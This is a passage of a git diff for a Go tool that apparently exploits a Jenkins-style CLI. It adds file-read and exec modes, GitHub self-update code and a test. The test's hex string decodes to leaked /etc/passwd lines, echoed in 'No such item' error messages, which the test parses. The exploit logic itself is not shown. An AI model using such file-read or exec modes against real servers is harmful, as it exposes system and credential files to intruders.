73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 C0 08 67 6E 61 74 73 3A 78 3A 34 31 3A 34 31 3A 47 6E 61 74 73 20 42 75 67 2D 52 65 70 6F 72 74 69 6E 67 20 53 79 73 74 65 6D 20 28 61 64 6D 69 6E 29 3A 2F 76 61 72 2F 6C 69 62 2F 67 6E 61 74 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 67 6E 61 74 73 3A 78 3A 34 31 3A 34 31 3A 47 6E 61 74 73 20 42 75 67 2D 52 65 70 6F 72 74 69 6E 67 20 53 79 73 74 65 6D 20 28 61 64 6D 69 6E 29 3A 2F 76 61 72 2F 6C 69 62 2F 67 6E 61 74 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 92 08 6E 6F 62 6F 64 79 3A 78 3A 36 35 35 33 34 3A 36 35 35 33 34 3A 6E 6F 62 6F 64 79 3A 2F 6E 6F 6E 65 78 69 73 74 65 6E 74 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6E 6F 62 6F 64 79 3A 78 3A 36 35 35 33 34 3A 36 35 35 33 34 3A 6E 6F 62 6F 64 79 3A 2F 6E 6F 6E 65 78 69 73 74 65 6E 74 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 76 08 6C 70 3A 78 3A 37 3A 37 3A 6C 70 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 6C 70 64 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6C 70 3A 78 3A 37 3A 37 3A 6C 70 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 6C 70 64 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 84 08 75 75 63 70 3A 78 3A 31 30 3A 31 30 3A 75 75 63 70 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 75 75 63 70 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 75 75 63 70 3A 78 3A 31 30 3A 31 30 3A 75 75 63 70 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 75 75 63 70 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 66 08 62 69 6E 3A 78 3A 32 3A 32 3A 62 69 6E 3A 2F 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 62 69 6E 3A 78 3A 32 3A 32 3A 62 69 6E 3A 2F 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 80 08 6E 65 77 73 3A 78 3A 39 3A 39 3A 6E 65 77 73 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 6E 65 77 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6E 65 77 73 3A 78 3A 39 3A 39 3A 6E 65 77 73 3A 2F 76 61 72 2F 73 70 6F 6F 6C 2F 6E 65 77 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 72 08 70 72 6F 78 79 3A 78 3A 31 33 3A 31 33 3A 70 72 6F 78 79 3A 2F 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 70 72 6F 78 79 3A 78 3A 31 33 3A 31 33 3A 70 72 6F 78 79 3A 2F 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 76 08 69 72 63 3A 78 3A 33 39 3A 33 39 3A 69 72 63 64 3A 2F 72 75 6E 2F 69 72 63 64 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 69 72 63 3A 78 3A 33 39 3A 33 39 3A 69 72 63 64 3A 2F 72 75 6E 2F 69 72 63 64 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 98 08 6C 69 73 74 3A 78 3A 33 38 3A 33 38 3A 4D 61 69 6C 69 6E 67 20 4C 69 73 74 20 4D 61 6E 61 67 65 72 3A 2F 76 61 72 2F 6C 69 73 74 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6C 69 73 74 3A 78 3A 33 38 3A 33 38 3A 4D 61 69 6C 69 6E 67 20 4C 69 73 74 20 4D 61 6E 61 67 65 72 3A 2F 76 61 72 2F 6C 69 73 74 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 7C 08 67 61 6D 65 73 3A 78 3A 35 3A 36 30 3A 67 61 6D 65 73 3A 2F 75 73 72 2F 67 61 6D 65 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 67 61 6D 65 73 3A 78 3A 35 3A 36 30 3A 67 61 6D 65 73 3A 2F 75 73 72 2F 67 61 6D 65 73 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 7C 08 6D 61 6E 3A 78 3A 36 3A 31 32 3A 6D 61 6E 3A 2F 76 61 72 2F 63 61 63 68 65 2F 6D 61 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 6D 61 6E 3A 78 3A 36 3A 31 32 3A 6D 61 6E 3A 2F 76 61 72 2F 63 61 63 68 65 2F 6D 61 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 7C 08 64 61 65 6D 6F 6E 3A 78 3A 31 3A 31 3A 64 61 65 6D 6F 6E 3A 2F 75 73 72 2F 73 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 64 61 65 6D 6F 6E 3A 78 3A 31 3A 31 3A 64 61 65 6D 6F 6E 3A 2F 75 73 72 2F 73 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 66 08 73 79 73 3A 78 3A 33 3A 33 3A 73 79 73 3A 2F 64 65 76 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 73 79 73 3A 78 3A 33 3A 33 3A 73 79 73 3A 2F 64 65 76 3A 2F 75 73 72 2F 73 62 69 6E 2F 6E 6F 6C 6F 67 69 6E E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 62 08 73 79 6E 63 3A 78 3A 34 3A 36 35 35 33 34 3A 73 79 6E 63 3A 2F 62 69 6E 3A 2F 62 69 6E 2F 73 79 6E 63 3A 20 4E 6F 20 73 75 63 68 20 69 74 65 6D 20 E2 80 98 73 79 6E 63 3A 78 3A 34 3A 36 35 35 33 34 3A 73 79 6E 63 3A 2F 62 69 6E 3A 2F 62 69 6E 2F 73 79 6E 63 E2 80 99 20 65 78 69 73 74 73 2E 0A 00 00 00 01 08 0A 00 00 00 51 08 45 52 52 4F 52 3A 20 45 72 72 6F 72 20 6F 63 63 75 72 72 65 64 20 77 68 69 6C 65 20 70 65 72 66 6F 72 6D 69 6E 67 20 74 68 69 73 20 63 6F 6D 6D 61 6E 64 2C 20 73 65 65 20 70 72 65 76 69 6F 75 73 20 73 74 64 65 72 72 20 6F 75 74 70 75 74 2E 0A 00 00 00 04 04 00 00 00 05" + // 转换16进制 + helpFullText = strings.ReplaceAll(helpFullText, " ", "") // 移除空格 + bytes, err := hex.DecodeString(helpFullText) + if err != nil { + t.Error(err) + return + } + data, err := parseResponseData(output.ModeReadFile, "reload-job", bytes[1:len(bytes)-1]) + if err != nil { + t.Error(err) + return + } + fmt.Println(string(data)) + +} diff --git a/pkg/types/options.go b/pkg/types/options.go index 19ff52c..4cfbbc5 100644 --- a/pkg/types/options.go +++ b/pkg/types/options.go @@ -6,16 +6,33 @@ import ( ) type Options struct { - URL goflags.StringSlice - ListURL goflags.StringSlice - Filename goflags.StringSlice - ProxyURL goflags.StringSlice - NoColor bool - Debug bool - DisableStdin bool - RateLimit int - Thread int - InputReadTimeout time.Duration - Stdin bool - Timeout int + URL goflags.StringSlice + ListURL goflags.StringSlice + Command goflags.StringSlice + Args goflags.StringSlice + ProxyURL goflags.StringSlice + NoColor bool + Debug bool + ListAvailableCommands bool + DisableStdin bool + RateLimit int + Thread int + InputReadTimeout time.Duration + Stdin bool + Timeout int + Exec bool + DisableUpdateCheck bool +} + +func (opt *Options) IsCheckMode() bool { + return !opt.ListAvailableCommands && len(opt.Command) == 0 && len(opt.Args) == 0 && !opt.Exec +} +func (opt *Options) IsListAvailableCommands() bool { + return opt.ListAvailableCommands && !opt.Exec +} +func (opt *Options) IsReadMode() bool { + return len(opt.Command) != 0 && len(opt.Args) != 0 && !opt.ListAvailableCommands && !opt.Exec +} +func (opt *Options) IsExecMode() bool { + return opt.Exec && !opt.ListAvailableCommands } diff --git a/pkg/update/gh.go b/pkg/update/gh.go new file mode 100644 index 0000000..fd42fa1 --- /dev/null +++ b/pkg/update/gh.go @@ -0,0 +1,366 @@ +package updateutils + +import ( + "archive/tar" + "archive/zip" + "bytes" + "compress/gzip" + "context" + "crypto/sha256" + "encoding/hex" + "io" + "io/fs" + "net/http" + "os" + "runtime" + "strings" + + "github.com/cheggaaa/pb/v3" + "github.com/google/go-github/v30/github" + "github.com/projectdiscovery/gologger" + errorutil "github.com/projectdiscovery/utils/errors" + "golang.org/x/oauth2" +) + +var ( + extIfFound = ".exe" + ErrNoAssetFound = errorutil.NewWithFmt("update: could not find release asset for your platform (%s/%s)") + SkipCheckSumValidation = false // by default checksum of gh assets is verified with checksums file present in release +) + +// AssetFileCallback function is executed on every file in unpacked asset . if returned error +// is not nil furthur processing of asset file is stopped +type AssetFileCallback func(path string, fileInfo fs.FileInfo, data io.Reader) error + +// GHReleaseDownloader fetches and reads release of a gh repo +type GHReleaseDownloader struct { + assetName string // required assetName given as input + repoName string // we assume toolname and repoName are always same + fullAssetName string // full asset name of asset that contains tool for this platform + organization string // organization name of repo + Format AssetFormat + AssetID int + Latest *github.RepositoryRelease + client *github.Client + httpClient *http.Client +} + +// NewghReleaseDownloader returns GHRD instance +func NewghReleaseDownloader(RepoName string) (*GHReleaseDownloader, error) { + var orgName, repoName string + if strings.Contains(RepoName, "/") { + arr := strings.Split(RepoName, "/") + if len(arr) != 2 { + return nil, errorutil.NewWithTag("update", "invalid repo name %v", RepoName) + } + orgName = arr[0] + repoName = arr[1] + } else { + orgName = Organization + repoName = RepoName + } + httpClient := &http.Client{ + Timeout: DownloadUpdateTimeout, + } + if orgName == "" { + return nil, errorutil.NewWithTag("update", "organization name cannot be empty") + } + if token := os.Getenv("GITHUB_TOKEN"); token != "" { + httpClient = oauth2.NewClient(context.Background(), oauth2.StaticTokenSource(&oauth2.Token{AccessToken: token})) + } + ghrd := GHReleaseDownloader{client: github.NewClient(httpClient), repoName: repoName, assetName: repoName, httpClient: httpClient, organization: orgName} + + err := ghrd.getLatestRelease() + return &ghrd, err +} + +// SetAssetName: By default RepoName is assumed as ToolName which maynot be the case always setToolName corrects that +func (d *GHReleaseDownloader) SetToolName(toolName string) { + if toolName != "" { + d.assetName = toolName + } +} + +// DownloadTool downloads tool and returns bin data +func (d *GHReleaseDownloader) DownloadTool() (*bytes.Buffer, error) { + if err := d.getToolAssetID(d.Latest); err != nil { + return nil, err + } + resp, err := d.downloadAssetwithID(int64(d.AssetID)) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + if !HideProgressBar { + bar := pb.New64(resp.ContentLength).SetMaxWidth(100) + bar.Start() + resp.Body = bar.NewProxyReader(resp.Body) + defer bar.Finish() + } + + bin, err := io.ReadAll(resp.Body) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to read response body") + } + return bytes.NewBuffer(bin), nil +} + +// GetReleaseChecksums tries to download tool checksum if release contains any in map[asset_name]checksum_data format +func (d *GHReleaseDownloader) GetReleaseChecksums() (map[string]string, error) { + builder := &strings.Builder{} + builder.WriteString(d.assetName) + builder.WriteString("_") + builder.WriteString(strings.TrimPrefix(d.Latest.GetTagName(), "v")) + builder.WriteString("_") + builder.WriteString("checksums.txt") + checksumFileName := builder.String() + + checksumFileAssetID := 0 + for _, v := range d.Latest.Assets { + if v.GetName() == checksumFileName { + checksumFileAssetID = int(v.GetID()) + } + } + if checksumFileAssetID == 0 { + return nil, errorutil.NewWithTag("update", "checksum file not in release assets") + } + + resp, err := d.downloadAssetwithID(int64(checksumFileAssetID)) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to download checksum file") + } + defer resp.Body.Close() + bin, err := io.ReadAll(resp.Body) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to read checksum file") + } + data := strings.TrimSpace(string(bin)) + if data == "" { + return nil, errorutil.NewWithTag("checksum", "something went wrong checksum file is emtpy") + } + m := map[string]string{} + for _, v := range strings.Split(data, "\n") { + arr := strings.Fields(v) + if len(arr) != 2 { + continue + } + m[arr[1]] = arr[0] + } + return m, nil +} + +// GetExecutableFromAsset downloads , validates checksum and only returns tool Binary +func (d *GHReleaseDownloader) GetExecutableFromAsset() ([]byte, error) { + var bin []byte + var err error + getToolCallback := func(path string, fileInfo fs.FileInfo, data io.Reader) error { + if !strings.EqualFold(strings.TrimSuffix(fileInfo.Name(), extIfFound), d.assetName) { + return nil + } + bin, err = io.ReadAll(data) + return err + } + + buff, err := d.DownloadTool() + if err != nil { + return nil, err + } + + var expectedChecksum string + checksums, err := d.GetReleaseChecksums() + if checksums != nil { + expectedChecksum = checksums[d.fullAssetName] + } + // verify integrity using checksum + if expectedChecksum != "" { + gotChecksumbytes := sha256.Sum256(buff.Bytes()) + gotchecksum := hex.EncodeToString(gotChecksumbytes[:]) + if expectedChecksum != gotchecksum { + return nil, errorutil.NewWithTag("checksum", "asset file corrupted: checksum mismatch expected %v but got %v", expectedChecksum, gotchecksum) + } else { + gologger.Info().Msgf("Verified Integrity of %v", d.fullAssetName) + } + } + + _ = UnpackAssetWithCallback(d.Format, bytes.NewReader(buff.Bytes()), getToolCallback) + return bin, errorutil.WrapfWithNil(err, "executable not found in archive") // Note: WrapfWithNil wraps msg if err != nil +} + +// DownloadAssetWithName downloads asset with given name +func (d *GHReleaseDownloader) DownloadAssetWithName(assetname string, showProgressBar bool) (*bytes.Buffer, error) { + assetID := 0 + for _, v := range d.Latest.Assets { + if v.GetName() == assetname { + assetID = int(v.GetID()) + } + } + if assetID == 0 { + return nil, errorutil.New("release asset %v not found", assetname) + } + resp, err := d.downloadAssetwithID(int64(assetID)) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to download asset %v", assetname) + } + defer resp.Body.Close() + + if showProgressBar { + bar := pb.New64(resp.ContentLength).SetMaxWidth(100) + bar.Start() + resp.Body = bar.NewProxyReader(resp.Body) + defer bar.Finish() + } + + bin, err := io.ReadAll(resp.Body) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to read resp body") + } + return bytes.NewBuffer(bin), nil +} + +// DownloadSourceWithCallback downloads source code of latest release and calls callback for each file in archive +func (d *GHReleaseDownloader) DownloadSourceWithCallback(showProgressBar bool, callback AssetFileCallback) error { + downloadURL := d.Latest.GetZipballURL() + + resp, err := d.httpClient.Get(downloadURL) + if err != nil { + return errorutil.NewWithErr(err).Msgf("failed to source of %v", d.repoName) + } + defer resp.Body.Close() + if showProgressBar { + bar := pb.New64(resp.ContentLength).SetMaxWidth(100) + bar.Start() + resp.Body = bar.NewProxyReader(resp.Body) + defer bar.Finish() + } + + bin, err := io.ReadAll(resp.Body) + if err != nil { + return errorutil.NewWithErr(err).Msgf("failed to read resp body") + } + return UnpackAssetWithCallback(Zip, bytes.NewReader(bin), callback) +} + +// getLatestRelease returns latest release of error +func (d *GHReleaseDownloader) getLatestRelease() error { + release, resp, err := d.client.Repositories.GetLatestRelease(context.Background(), d.organization, d.repoName) + if err != nil { + errx := errorutil.NewWithErr(err) + if resp != nil && resp.StatusCode == http.StatusNotFound { + errx = errx.Msgf("repo %v/%v not found got ", d.organization, d.repoName) + } else if _, ok := err.(*github.RateLimitError); ok { + errx = errx.Msgf("hit github ratelimit while downloading latest release") + } else if resp != nil && (resp.StatusCode == http.StatusForbidden || resp.StatusCode == http.StatusUnauthorized) { + errx = errx.Msgf("gh auth failed try unsetting GITHUB_TOKEN env variable") + } + return errx + } + d.Latest = release + return nil +} + +// getToolAssetID tries to find assetId of tool required for this platform +func (d *GHReleaseDownloader) getToolAssetID(latest *github.RepositoryRelease) error { + builder := &strings.Builder{} + builder.WriteString(d.assetName) + builder.WriteString("_") + builder.WriteString(strings.TrimPrefix(d.Latest.GetTagName(), "v")) + builder.WriteString("_") + if strings.EqualFold(runtime.GOOS, "darwin") { + builder.WriteString("macOS") + } else { + builder.WriteString(runtime.GOOS) + } + builder.WriteString("_") + builder.WriteString(runtime.GOARCH) + +loop: + for _, v := range latest.Assets { + asset := v.GetName() + switch { + case strings.Contains(asset, Zip.FileExtension()): + if strings.EqualFold(asset, builder.String()+Zip.FileExtension()) { + d.AssetID = int(v.GetID()) + d.Format = Zip + d.fullAssetName = asset + break loop + } + case strings.Contains(asset, Tar.FileExtension()): + if strings.EqualFold(asset, builder.String()+Tar.FileExtension()) { + d.AssetID = int(v.GetID()) + d.Format = Tar + d.fullAssetName = asset + break loop + } + } + } + builder.Reset() + + // handle if id is zero (no asset found) + if d.AssetID == 0 { + return ErrNoAssetFound.Msgf(runtime.GOOS, runtime.GOARCH) + } + return nil +} + +// downloadAssetwithID +func (d *GHReleaseDownloader) downloadAssetwithID(id int64) (*http.Response, error) { + _, rdurl, err := d.client.Repositories.DownloadReleaseAsset(context.Background(), d.organization, d.repoName, id, nil) + if err != nil { + return nil, err + } + resp, err := d.httpClient.Get(rdurl) + if err != nil { + return nil, errorutil.NewWithErr(err).Msgf("failed to download release asset") + } + if resp.StatusCode != http.StatusOK { + return nil, errorutil.New("something went wrong got %v while downloading asset, expected status 200", resp.StatusCode) + } + if resp.Body == nil { + return nil, errorutil.New("something went wrong got response without body") + } + return resp, nil +} + +// UnpackAssetWithCallback unpacks asset and executes callback function on every file in data +func UnpackAssetWithCallback(format AssetFormat, data *bytes.Reader, callback AssetFileCallback) error { + if format != Zip && format != Tar { + return errorutil.NewWithTag("unpack", "github asset format not supported. only zip and tar are supported") + } + if format == Zip { + zipReader, err := zip.NewReader(data, data.Size()) + if err != nil { + return err + } + for _, f := range zipReader.File { + data, err := f.Open() + if err != nil { + return err + } + if err := callback(f.Name, f.FileInfo(), data); err != nil { + return err + } + _ = data.Close() + } + } else if format == Tar { + gzipReader, err := gzip.NewReader(data) + if err != nil { + return err + } + tarReader := tar.NewReader(gzipReader) + // iterate through the files in the archive + for { + header, err := tarReader.Next() + if err == io.EOF { + break + } + if err != nil { + return err + } + if err := callback(header.Name, header.FileInfo(), tarReader); err != nil { + return err + } + } + } + return nil +} diff --git a/pkg/update/gh_test.go b/pkg/update/gh_test.go new file mode 100644 index 0000000..01968de --- /dev/null +++ b/pkg/update/gh_test.go @@ -0,0 +1,47 @@ +//go:build update + +// update related tests are only executed when update tag is provided (ex: go test -tags update ./...) to avoid failures due to rate limiting +package updateutils + +import ( + "io" + "io/fs" + "testing" + + "github.com/stretchr/testify/require" +) + +// TestDownloadNucleiRelease tests downloading nuclei release +func TestDownloadNucleiRelease(t *testing.T) { + HideProgressBar = true + gh, err := NewghReleaseDownloader("nuclei") + require.Nil(t, err) + _, err = gh.GetExecutableFromAsset() + require.Nil(t, err) +} + +// TestDownloadNucleiTemplatesFromSource tests downloading nuclei-templates from source +func TestDownloadNucleiTemplatesFromSource(t *testing.T) { + gh, err := NewghReleaseDownloader("nuclei-templates") + require.Nil(t, err) + counter := 0 + callback := func(path string, fileInfo fs.FileInfo, data io.Reader) error { + _ = fileInfo.Name() + counter++ + return nil + } + err = gh.DownloadSourceWithCallback(false, callback) + require.Nil(t, err) + // actual content is lot more than 100 files + require.Greater(t, counter, 100) +} + +// TestDownloadToolWithDifferentName tests downloading a tool with different name than repo name +// by default repo name is considered as executable name +func TestDownloadToolWithDifferentName(t *testing.T) { + gh, err := NewghReleaseDownloader("interactsh") + require.Nil(t, err) + gh.SetToolName("interactsh-client") + _, err = gh.GetExecutableFromAsset() + require.Nil(t, err) +} diff --git a/pkg/update/types.go b/pkg/update/types.go new file mode 100644 index 0000000..92fff12 --- /dev/null +++ b/pkg/update/types.go @@ -0,0 +1,98 @@ +package updateutils + +import ( + "fmt" + "github.com/fatih/color" + "strings" + + "github.com/Masterminds/semver/v3" +) + +type AssetFormat uint + +const ( + Zip AssetFormat = iota + Tar + Unknown +) + +// FileExtension of this asset format +func (a AssetFormat) FileExtension() string { + if a == Zip { + return ".zip" + } else if a == Tar { + return ".tar.gz" + } + return "" +} + +func IdentifyAssetFormat(assetName string) AssetFormat { + switch { + case strings.HasSuffix(assetName, Zip.FileExtension()): + return Zip + case strings.HasSuffix(assetName, Tar.FileExtension()): + return Tar + default: + return Unknown + } +} + +// Tool +type Tool struct { + Name string `json:"name"` + Repo string `json:"repo"` + Version string `json:"version"` + Assets map[string]string `json:"assets"` +} + +// GetVersionDescription returns tags like (latest) or (outdated) or (dev) +func GetVersionDescription(current string, latest string) string { + if strings.HasSuffix(current, "-dev") { + if IsDevReleaseOutdated(current, latest) { + return fmt.Sprintf("(%v)", color.HiRedString("outdated")) + } else { + return fmt.Sprintf("(%v)", color.HiBlueString("development")) + } + } + if IsOutdated(current, latest) { + return fmt.Sprintf("(%v)", color.HiRedString("outdated")) + } else { + return fmt.Sprintf("(%v)", color.HiGreenString("latest")) + } +} + +// IsOutdated returns true if current version is outdated +func IsOutdated(current, latest string) bool { + if strings.HasSuffix(current, "-dev") { + return IsDevReleaseOutdated(current, latest) + } + currentVer, _ := semver.NewVersion(current) + latestVer, _ := semver.NewVersion(latest) + if currentVer == nil || latestVer == nil { + // fallback to naive comparison + return current != latest + } + return latestVer.GreaterThan(currentVer) +} + +// IsDevReleaseOutdated returns true if installed tool (dev version) is outdated +// ex: if installed tools is v2.9.1-dev and latest release is v2.9.1 then it is outdated +// since v2.9.1-dev is released and merged into main/master branch +func IsDevReleaseOutdated(current string, latest string) bool { + // remove -dev suffix + current = strings.TrimSuffix(current, "-dev") + currentVer, _ := semver.NewVersion(current) + latestVer, _ := semver.NewVersion(latest) + if currentVer == nil || latestVer == nil { + if current == latest { + return true + } else { + // can't compare, so consider it latest + return false + } + } + if latestVer.GreaterThan(currentVer) || latestVer.Equal(currentVer) { + return true + } + return false +} diff --git a/pkg/update/update.go b/pkg/update/update.go new file mode 100644 index 0000000..d71bebb --- /dev/null +++ b/pkg/update/update.go @@ -0,0 +1,234 @@ +package updateutils + +import ( + "bytes" + "crypto/tls" + "fmt" + "github.com/fatih/color" + errorutil "github.com/projectdiscovery/utils/errors" + folderutil "github.com/projectdiscovery/utils/folder" + "io" + "io/fs" + "net/http" + "net/url" + "os" + "path/filepath" + "runtime" + "strings" + "time" + + "github.com/Masterminds/semver/v3" + "github.com/charmbracelet/glamour" + "github.com/denisbrodbeck/machineid" + "github.com/minio/selfupdate" + "github.com/projectdiscovery/gologger" +) + +const ( + Organization = "wjlin0" +) + +var ( + // By default when tool is updated release notes of latest version are printed + HideReleaseNotes = false + HideProgressBar = false + VersionCheckTimeout = time.Duration(5) * time.Second + DownloadUpdateTimeout = time.Duration(30) * time.Second + // Note: DefaultHttpClient is only used in GetToolVersionCallback + DefaultHttpClient *http.Client +) + +// GetUpdateToolCallback returns a callback function +// that updates given tool if given version is older than latest gh release and exits +func GetUpdateToolCallback(toolName, version string) func() { + return GetUpdateToolFromRepoCallback(toolName, version, "") +} + +// GetUpdateToolWithRepoCallback returns a callback function that is similar to GetUpdateToolCallback +// but it takes repoName as an argument (repoName can be either just repoName ex: `nuclei` or full repo Addr ex: `projectdiscovery/nuclei`) +func GetUpdateToolFromRepoCallback(toolName, version, repoName string) func() { + return func() { + if repoName == "" { + repoName = toolName + } + gh, err := NewghReleaseDownloader(repoName) + if err != nil { + gologger.Fatal().Label("updater").Msgf("failed to download latest release got %v", err) + } + gh.SetToolName(toolName) + latestVersion, err := semver.NewVersion(gh.Latest.GetTagName()) + if err != nil { + gologger.Fatal().Label("updater").Msgf("failed to parse semversion from tagname `%v` got %v", gh.Latest.GetTagName(), err) + } + currentVersion, err := semver.NewVersion(version) + if err != nil { + gologger.Fatal().Label("updater").Msgf("failed to parse semversion from current version %v got %v", version, err) + } + // check if current version is outdated + if !IsOutdated(currentVersion.String(), latestVersion.String()) { + gologger.Info().Msgf("%v is already updated to latest version", toolName) + os.Exit(0) + } + // check permissions before downloading release + updateOpts := selfupdate.Options{} + if err := updateOpts.CheckPermissions(); err != nil { + gologger.Fatal().Label("updater").Msgf("update of %v %v -> %v failed , insufficient permission detected got: %v", toolName, currentVersion.String(), latestVersion.String(), err) + } + bin, err := gh.GetExecutableFromAsset() + if err != nil { + gologger.Fatal().Label("updater").Msgf("executable %v not found in release asset `%v` got: %v", toolName, gh.AssetID, err) + } + + if err = selfupdate.Apply(bytes.NewBuffer(bin), updateOpts); err != nil { + gologger.Error().Msgf("update of %v %v -> %v failed, rolling back update", toolName, currentVersion.String(), latestVersion.String()) + if err := selfupdate.RollbackError(err); err != nil { + gologger.Fatal().Label("updater").Msgf("rollback of update of %v failed got %v,pls reinstall %v", toolName, err, toolName) + } + os.Exit(1) + } + + gologger.Print().Msg("") + gologger.Info().Msgf("%v sucessfully updated %v -> %v (%s)", toolName, currentVersion.String(), latestVersion.String(), color.HiGreenString("latest")) + + if !HideReleaseNotes { + output := gh.Latest.GetBody() + // adjust colors for both dark / light terminal themes + r, err := glamour.NewTermRenderer(glamour.WithAutoStyle()) + if err != nil { + gologger.Error().Msgf("markdown rendering not supported: %v", err) + } + if rendered, err := r.Render(output); err == nil { + output = rendered + } else { + gologger.Error().Msg(err.Error()) + } + gologger.Print().Msgf("%v\n\n", output) + } + os.Exit(0) + } +} + +// GetToolVersionCallback returns a callback function that checks for updates of tool +// by sending a request to update check endpoint and returns latest version +// if repoName is empty then tool name is considered as repoName +func GetToolVersionCallback(toolName, repoName string) func() (string, error) { + return func() (string, error) { + if repoName == "" { + repoName = toolName + } + gh, err := NewghReleaseDownloader(repoName) + if err != nil { + return "", errorutil.NewWithErr(err).Msgf("failed to download latest release got %v", err).WithTag("updater") + + } + gh.SetToolName(toolName) + latestVersion, err := semver.NewVersion(gh.Latest.GetTagName()) + if err != nil { + return "", errorutil.NewWithErr(err).Msgf("failed to parse semversion from tagname `%v` got %v", gh.Latest.GetTagName(), err).WithTag("updater") + } + return latestVersion.String(), nil + + } +} + +func GetUpdateDirFromRepoNoErrCallback(toolName, dir, repoName string) func() { + return func() { + if err := GetUpdateDirFromRepoCallback(toolName, dir, repoName)(); err != nil { + gologger.Fatal().Msgf("failed to update %v got %v", toolName, err) + } + } + +} + +func GetUpdateDirFromRepoCallback(toolName, dir, repoName string) func() error { + return func() error { + if repoName == "" { + repoName = toolName + } + downloader, err := NewghReleaseDownloader(repoName) + if err != nil { + return errorutil.NewWithErr(err).Msgf("failed to download latest release got %v", err).WithTag("updater") + } + callback := func(path string, f fs.FileInfo, data io.Reader) error { + templateAbsolutePath, skipFile, err := calculateTemplateAbsolutePath(path, dir) + if err != nil { + return err + } + if skipFile { + return nil + } + bin, err := io.ReadAll(data) + if err != nil { + // if error occurs, iteration also stops + return errorutil.NewWithErr(err).Msgf("failed to read file %s", templateAbsolutePath) + } + return os.WriteFile(templateAbsolutePath, bin, f.Mode()) + } + if err = downloader.DownloadSourceWithCallback(false, callback); err != nil { + return errorutil.NewWithErr(err).Msgf("failed to download latest release got %v", err) + } + return nil + } +} +func calculateTemplateAbsolutePath(zipFilePath, configuredTemplateDirectory string) (string, bool, 